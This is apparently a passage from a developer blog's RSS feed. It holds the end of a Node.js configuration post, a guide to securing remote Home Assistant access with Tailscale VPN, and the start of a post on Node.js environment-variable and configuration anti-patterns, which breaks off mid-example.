&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;APP_MONITORING&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;true&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  apm.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;enable&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;USER_EVENTS_TRACKING&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;true&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  productAnalytics.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;enable&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This approach promotes coding conventions that decouple your application code from the environment designation, and instead rely on feature flags. This is a better approach because it allows you to toggle on or off a feature without having to change the environment designation.&lt;/p&gt;
&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;p&gt;In concluding thoughts, if you are using a different library than &lt;code&gt;env-schema&lt;/code&gt; and your own configuration wrappers by upholding the above configuration best practices then you are doing it right. My personal choice is &lt;code&gt;env-schema&lt;/code&gt; with &lt;code&gt;Fastify&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As an addendum, I also use &lt;a href=&quot;https://snyk.io/advisor/npm-package/awilix&quot;&gt;Awilix&lt;/a&gt; for dependency injection and here’s how I would use it to inject the configuration manager into my application:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Load configuration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;configManager&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; configManager.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;load&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Other initializations [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Initialize DI&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;diContainer&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;initDI&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ config, database });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>How I Deployed Tailscale VPN to Securely Access Home Assistant Remotely</title><link>https://lirantal.com/blog/employ-tailscale-vpn-to-securely-access-home-assistant-remotely/</link><guid>https://lirantal.com/blog/employ-tailscale-vpn-to-securely-access-home-assistant-remotely/</guid><description>Often smart home automation enthusiasts want to access their Home Assistant instance remotely. This can be done by exposing the Home Assistant instance to the internet. However, this is not a secure way to access Home Assistant remotely and pose the risk of cyber attacks. In this article, we will see how to use Tailscale VPN to securely access Home Assistant remotely.</description><pubDate>Sun, 15 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Often smart home automation enthusiasts want to access their Home Assistant instance remotely. This can be done by exposing the Home Assistant instance to the internet. However, this is not a secure way to access Home Assistant remotely and pose the risk of cyber attacks. In this article, we will see how to use Tailscale VPN to securely access Home Assistant remotely.&lt;/p&gt;
&lt;p&gt;During these days of the war in Israel stemming from the brutal and violent terror attack of Hamas, there have been some reports of cyber attacks on Israeli citizens and their smart home devices.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;iw&quot; dir=&quot;rtl&quot;&gt;בארבע לפנות בוקר הבית שלי התחיל להשתגע. תריסים עולים ויורדים בלי הפסקה, אורות נדלקים וכבים בכל רחבי הבית. האמת? די מפחיד בהתחשב בעצבים הרופפים שלנו עכשיו. הרגיש כמו בסרט כשרוחות משתלטות על הבית. פתחתי את ארונות חשמל לנסות להבין מה קורה, ניתקתי את הבקר האפליקציה של החשמל חכם…&lt;/p&gt;— Liad Agmon (@liadagmon) &lt;a href=&quot;https://twitter.com/liadagmon/status/1712712149070389478?ref_src=twsrc%5Etfw&quot;&gt;October 13, 2023&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;h2 id=&quot;home-assistant-remote-access&quot;&gt;Home Assistant Remote Access&lt;/h2&gt;
&lt;p&gt;Home Assistant is a popular open-source home automation platform. I use it myself with a range of Zigbee and Wi-Fi devices to control various electronic devices and automate scenes. More often than not, Home Assistant is a self-hosted platform that usually is installed on a Raspberry Pi or a Linux server (sometimes, containerized with Docker).&lt;/p&gt;
&lt;p&gt;To manage your smart home, Home Assistant comes with a web-based application that can be accessed using a browser and allows access to various configuration, dashboard and controls. There’s also a native mobile app available for Android and iOS. However, to access Home Assistant remotely, you need to open it up to the Internet to be able to access it from outside your home network (your local Wi-Fi network).&lt;/p&gt;
&lt;p&gt;To securely access Home Assistant remotely, one way is to employ a VPN (Virtual Private Network) to connect to your home network and then access Home Assistant. This is a secure way to access Home Assistant remotely and is the recommended way to do so.&lt;/p&gt;
&lt;h2 id=&quot;home-assistant-and-tailscale-vpn&quot;&gt;Home Assistant and Tailscale VPN&lt;/h2&gt;
&lt;p&gt;We’ll use Tailscale as a remote access VPN application that essentially establishes network connectivity between your mobile device and the Home Assistant installation. As such, this guide is going to focus on these two-parts:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install Tailscale on Home Assistant&lt;/li&gt;
&lt;li&gt;Install Tailscale on your mobile device&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;what-is-tailscale&quot;&gt;What is Tailscale?&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://tailscale.com&quot;&gt;Tailscale&lt;/a&gt; is a mesh VPN service that makes it easy to connect your devices, wherever they are. It is a VPN (Virtual Private Network) that works like a single sign-on for your devices. It is a zero-config VPN that works on any device, behind any firewall. The free tier is generous and is a great way to get started with Tailscale VPN for your smart home.&lt;/p&gt;
&lt;h3 id=&quot;install-tailscale-on-home-assistant&quot;&gt;Install Tailscale on Home Assistant&lt;/h3&gt;
&lt;p&gt;In the Home Assistant web interface, go to &lt;strong&gt;Settings&lt;/strong&gt; and then &lt;strong&gt;Add-ons&lt;/strong&gt;. Click the &lt;strong&gt;ADD-ON STORE&lt;/strong&gt; button to view all Add-ons available from both official and community sources, and then search for &lt;strong&gt;Tailscale&lt;/strong&gt;. Click on the &lt;strong&gt;Tailscale&lt;/strong&gt; add-on and then click the &lt;strong&gt;INSTALL&lt;/strong&gt; button to install the add-on.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/ha-tailscale-add-on-in-store.png&quot; alt=&quot;Home Assistant Tailscale add-on from the store&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once the add-on is installed, toggle on the &lt;strong&gt;Start on boot&lt;/strong&gt;, &lt;strong&gt;Watchdog&lt;/strong&gt;, and &lt;strong&gt;Auto-update&lt;/strong&gt; options. Then click on the &lt;strong&gt;START&lt;/strong&gt; button to start the add-on.&lt;/p&gt;
&lt;p&gt;Once the add-on is started, click on the &lt;strong&gt;OPEN WEB UI&lt;/strong&gt; button to open the Tailscale web interface. Continue to login with your Tailscale account until you’re greeted with connecting a device to your Tailscale network.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/ha-tailscale-add-on-connect.png&quot; alt=&quot;Connect an endpoint device to a Tailscale network&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once you’ve approved the connection you’ll receive a confirmation message that the device is connected to your Tailscale network: &lt;code&gt;Login successful Your device homeassistant is logged in to the Tailscale network.&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&quot;install-the-tailscale-vpn-client-on-your-mobile-device-android&quot;&gt;Install the Tailscale VPN client on your mobile device (Android)&lt;/h3&gt;
&lt;p&gt;Tailscale makes it easy to deploy from multiple endpoints such as Linux, macOS or Windows but to access Home Assistant on the road, you’d want to install the Tailscale VPN client on your mobile device.&lt;/p&gt;
&lt;p&gt;Head over to the &lt;a href=&quot;https://tailscale.com/download&quot;&gt;Tailscale download page&lt;/a&gt; and download the Tailscale VPN client for your mobile device. In fact, the previous step of connecting your Home Assistant instance to your Tailscale network should’ve redirected you to the download page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/ha-tailscale-install.png&quot; alt=&quot;Tailscale setup screen shows the tailscale VPN client application install&quot;&gt;&lt;/p&gt;
&lt;p&gt;Upon successful installation, sign-in you should be able to see a successful VPN connection between your Home Assistant instance and the mobile device as well as test the connection through a &lt;code&gt;ping&lt;/code&gt; command you can execute from the Home Assistant instance:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/ha-successful-tailscale-connection.png&quot; alt=&quot;Successful Home Assistant connection to Tailscale and the Tailnet connection established on an Android mobile device&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;connecting-the-home-assistant-instance-to-a-remote-tailscale-device&quot;&gt;Connecting the Home Assistant instance to a remote Tailscale device&lt;/h3&gt;
&lt;p&gt;What we’ve done so far, is successfully establishing a network between the operating system running the Home Assistant node, to any remote clients.&lt;/p&gt;
&lt;p&gt;What’s needed next, is to specifically forward routes of the home network which the Home Assistance node is running on (for example, your &lt;code&gt;192.168.0.0/24&lt;/code&gt; local network) so that the endpoint device can access the Home Assistant instance.&lt;/p&gt;
&lt;p&gt;This configuration is needed so that when opening the Home Assistance mobile device to connect to the Home Assistance web interface over an IP such as &lt;code&gt;192.168.1.0&lt;/code&gt;, this routing enables HTTP requests through the Tailscale VPN network that determinate on the Home Assistance node on which the Tailscale VPN is running on:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/ha-tailscale-config-network-node.png&quot; alt=&quot;Configure accessible subnets via the Tailnet Tailscale network&quot;&gt;&lt;/p&gt;
&lt;p&gt;Stay safe and secure ❤️&lt;/p&gt;</content:encoded></item><item><title>Environment variables and configuration anti patterns in Node.js applications</title><link>https://lirantal.com/blog/environment-variables-configuration-anti-patterns-node-js-applications/</link><guid>https://lirantal.com/blog/environment-variables-configuration-anti-patterns-node-js-applications/</guid><description>Every Node.js application needs configuration management, but there are many ways to do it. You might have heard about `.env` files, and packages like dotenv, convict, env-schema so let&apos;s explore the different configuration patterns and how to use them.</description><pubDate>Sun, 01 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Crafting robust and maintainable applications is no small feat. One of the fundamental pillars of building reliable Node.js applications is effective configuration management.&lt;/p&gt;
&lt;p&gt;Configuration encompasses a wide array of parameters, from database connection details to API keys, and even application-specific settings. Regardless of the size or complexity of your Node.js project, you’ll inevitably encounter the challenge of handling configuration data.&lt;/p&gt;
&lt;p&gt;In this blog post, we’re going to delve deep into the world of configuration patterns for Node.js applications. We’ll explore the various strategies and tools at your disposal to efficiently manage configuration data. Whether you’re a seasoned Node.js developer looking to refine your practices or a newcomer eager to learn, this post will equip you with the knowledge you need to make informed decisions regarding your application’s configuration.&lt;/p&gt;
&lt;h2 id=&quot;why-managing-configuration-for-nodejs-application-is-crucial&quot;&gt;Why managing configuration for Node.js application is crucial?&lt;/h2&gt;
&lt;p&gt;Before we dive into the intricacies of different configuration patterns, let’s take a moment to understand why configuration management is so crucial in Node.js applications.&lt;/p&gt;
&lt;p&gt;Imagine building a Node.js application without a clear and organized way to handle configuration. You’d likely end up hardcoding sensitive information like API keys directly into your codebase (oh no! 😳), scattering configuration values throughout your application files (maintainability is 😭), and making it nearly impossible to adapt to different environments seamlessly.&lt;/p&gt;
&lt;h3 id=&quot;pillars-of-effective-and-robust-configuration-management&quot;&gt;Pillars of effective and robust configuration management&lt;/h3&gt;
&lt;p&gt;What makes a maintainable, scalable, and secure configuration management in Node.js applications? Here are some of the key pillars to consider that most often I see developers overlook:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Doesn’t impede security: Storing sensitive information like database credentials and API keys securely is paramount. Without proper configuration practices, your application could be susceptible to data breaches.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Promotes deployment portability: Your application should run consistently across various environments, such as development, testing, and production. Good patterns of configuration management do not couple your environments to your application or to your configuration. Instead, it allows your application to transparently and seamlessly deploy to different environments, unaware of the differences between them.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Simplifies maintenance: As your application evolves, so do its configuration requirements. Having a robust configuration management system in place makes it easier to make changes and updates without rewriting large sections of code or accessing ad-hoc configuration files or environment variables.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-to-load-configuration-in-nodejs-applications&quot;&gt;How to load configuration in Node.js applications?&lt;/h2&gt;
&lt;p&gt;Now that we’ve highlighted the importance of configuration management, let’s review the various configuration patterns available for Node.js applications.&lt;/p&gt;
&lt;p&gt;You might have heard about some common approaches like using &lt;code&gt;.env&lt;/code&gt; files or popular packages like &lt;a href=&quot;https://snyk.io/advisor/npm-package/dotenv&quot;&gt;dotenv&lt;/a&gt;, &lt;a href=&quot;https://snyk.io/advisor/npm-package/convict&quot;&gt;convict&lt;/a&gt;, and &lt;a href=&quot;https://snyk.io/advisor/npm-package/env-schema&quot;&gt;env-schema&lt;/a&gt;. We’ll explore these options in detail.&lt;/p&gt;
&lt;p&gt;The following depicts some of the possible ways to load configuration in Node.js applications, ordered from the least effective to the most robust configuration management traits:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A &lt;code&gt;config.json&lt;/code&gt; file&lt;/li&gt;
&lt;li&gt;Direct use of environment variables&lt;/li&gt;
&lt;li&gt;Typed configuration&lt;/li&gt;
&lt;li&gt;Validated configuration&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;concerns-with-the-use-of-configuration-files-such-as-configjson&quot;&gt;Concerns with the use of configuration files, such as &lt;code&gt;config.json&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Generally speaking, using a dedicated configuration file to load configuration, a la &lt;code&gt;config.json&lt;/code&gt;, doesn’t necessarily mean that you’re missing out on some of the traits we’ve listed above. For example, you can still bake type safety and validation into your configuration file if you’re using it as a JavaScript module (&lt;code&gt;config.js&lt;/code&gt;) instead of a JSON file (&lt;code&gt;config.json&lt;/code&gt;). Or, maybe you have another step in your configuration loading process that adds type safety and validation.&lt;/p&gt;
&lt;p&gt;However, most often one of the anti-patterns I’ve noticed is that developers tend to hardcode configuration data directly into their source code, which is a big no-no. Another disaster is that deployment environments proliferate into your configuration file. Does this look familiar?&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;├── config/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;│    └── config.dev.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;│    └── config.staging.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;│    └── config.qa.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;│    └── config.prod.json&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a maintenance nightmare. You’ll end up with a lot of duplicated configuration data, and it’s hard to know what configuration was used for a given deployment. You also tightly couple your deployed environment types to your application, which is not ideal.&lt;/p&gt;
&lt;p&gt;Information security is another concern with configuration files. If they are committed to the source code repository, it only takes one mistake in misconfigured web servers or path traversal vulnerabilities, to expose sensitive information like database credentials and API keys. Here’s a timely reminder from &lt;a href=&quot;https://x.com/AlHomaidNoor&quot;&gt;Noor AlHomaid&lt;/a&gt; on X:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Always include (.yml) files in your recon &lt;a href=&quot;https://x.com/hashtag/HappyHacking?src=hash&amp;#x26;ref_src=twsrc%5Etfw&quot;&gt;#HappyHacking&lt;/a&gt; &lt;a href=&quot;https://x.com/hashtag/cybersecurite?src=hash&amp;#x26;ref_src=twsrc%5Etfw&quot;&gt;#cybersecurite&lt;/a&gt; &lt;a href=&quot;https://x.com/hashtag/infosec?src=hash&amp;#x26;ref_src=twsrc%5Etfw&quot;&gt;#infosec&lt;/a&gt; &lt;a href=&quot;https://x.com/hashtag/ethicalhacking?src=hash&amp;#x26;ref_src=twsrc%5Etfw&quot;&gt;#ethicalhacking&lt;/a&gt; &lt;a href=&quot;https://t.co/SpSfyoLXEm&quot;&gt;pic.x.com/SpSfyoLXEm&lt;/a&gt;&lt;/p&gt;— نُور الحميد (@AlHomaidNoor) &lt;a href=&quot;https://twitter.com/AlHomaidNoor/status/1708956361759854809?ref_src=twsrc%5Etfw&quot;&gt;October 2, 2023&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.x.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;h2 id=&quot;concerns-with-env-files&quot;&gt;Concerns with &lt;code&gt;.env&lt;/code&gt; files:&lt;/h2&gt;
&lt;p&gt;On first look, &lt;code&gt;.env&lt;/code&gt; files may seem to suffer from similar issues as &lt;code&gt;config.json&lt;/code&gt; files - a specific file used per environment and so on. However, most notable to recognize about &lt;code&gt;.env&lt;/code&gt; files is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;They aren’t committed to the Git repository, hence they are not versioned and aren’t tightly coupled to your application’s code. The hint is in the name, &lt;code&gt;.env&lt;/code&gt; use a leading dot to indicate that they a special case of files.&lt;/li&gt;
&lt;li&gt;They are most often used as a generic &lt;code&gt;.env&lt;/code&gt; file that is populated with environment variables and is mostly relevant for production use, and a &lt;code&gt;.env.local&lt;/code&gt; file to refer to configuration needed for local development environment variables.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That said, they are still prone to the same issues as &lt;code&gt;config.json&lt;/code&gt; files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It’s easy to hardcode configuration data directly into your source code&lt;/li&gt;
&lt;li&gt;It’s easy to copy your deployment environments into several .env files&lt;/li&gt;
&lt;li&gt;It’s easy to make the mistake of committing the &lt;code&gt;.env&lt;/code&gt; file to your Git repository, which is a security risk&lt;/li&gt;
&lt;li&gt;They are not inherently type safe&lt;/li&gt;
&lt;li&gt;They are not inherently validated&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;ASIDE&lt;/strong&gt;
Is it an advantage or disadvantage that .env files aren’t versioned in source control?&lt;/p&gt;
&lt;p&gt;One could argue to the issue of perpetuating configuration drift.
For example, &lt;code&gt;.env&lt;/code&gt; files are most often not versioned via Git, so that secrets are not leaked, which is a good thing. But this means that the configuration is not versioned either, and it’s hard to know what configuration was used for a given deployment.&lt;/p&gt;
&lt;p&gt;Developers will also be concerned that because &lt;code&gt;.env&lt;/code&gt; files aren’t committed to the Git repository, then new configuration options aren’t easily discoverable. This can lead to configuration drift, where different environments have different configuration options.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;concerns-with-dotenv&quot;&gt;Concerns with &lt;code&gt;dotenv&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Needless to say, the &lt;code&gt;dotenv&lt;/code&gt; npm package is a popular choice for loading configuration from &lt;code&gt;.env&lt;/code&gt; files. It’s a simple and lightweight package that’s easy to use.&lt;/p&gt;
&lt;p&gt;Some of my reservations as noted above are relevant to &lt;code&gt;dotenv&lt;/code&gt; too, but specifically I want to call out a security concern with &lt;code&gt;dotenv&lt;/code&gt; that I’ve seen developers overlook: basing configuration on &lt;code&gt;process.env&lt;/code&gt; as a first-class citizen in a Node.js pattern.&lt;/p&gt;
&lt;p&gt;Let’s explain what this means with a simple &lt;code&gt;dotenv&lt;/code&gt; use case:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dotenv&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;dotenv&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; dotenv.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;env vars:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(process.env);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When you run this code, the &lt;code&gt;dotenv&lt;/code&gt; package will load configuration data from the local &lt;code&gt;.env&lt;/code&gt; file into the &lt;code&gt;process.env&lt;/code&gt; object. This means that you can access the configuration data via &lt;code&gt;process.env&lt;/code&gt; anywhere in your application.&lt;/p&gt;
&lt;p&gt;Developers following this pattern will often use &lt;code&gt;process.env&lt;/code&gt; as a first-class citizen in their application, from which they draw configuration items:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;db&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;./db&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dotenv&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;dotenv&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
